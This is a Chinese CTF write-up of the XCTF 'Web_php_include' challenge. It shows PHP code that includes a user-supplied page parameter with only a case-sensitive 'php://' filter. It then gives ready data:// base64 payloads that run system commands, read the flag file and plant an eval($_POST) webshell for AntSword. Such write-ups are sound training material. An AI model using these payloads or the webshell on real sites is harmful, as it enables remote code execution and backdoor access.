攻防世界-web进阶-Web_php_include

从代码中得知page中带有php://的都会被替换成空

str_replace()以其他字符替换字符串中的一些字符(区分大小写)

strstr() 查找字符串首次出现的位置。返回字符串剩余部分

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

  

方法一(data://伪协议执行命令利用)

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("dir")?> base64编码后使用

?page=data://text/plain/;base64,dW5kZWZpbmVkPD9waHAgc3lzdGVtKCJkaXIiKT8%2b
(编码后的+号要URL编码)

  

 <?php system("cat fl4gisisish3r3.php")?> base64编码后使用

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/PiA=

  

查看源代码

方法二(data://伪协议传木马)

<?php eval($_POST[shell]); ?> base64加密后拼接

?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTsgPz4=

  

蚁剑连接,密码shell

原文地址:https://www.cnblogs.com/tac2664/p/13864025.html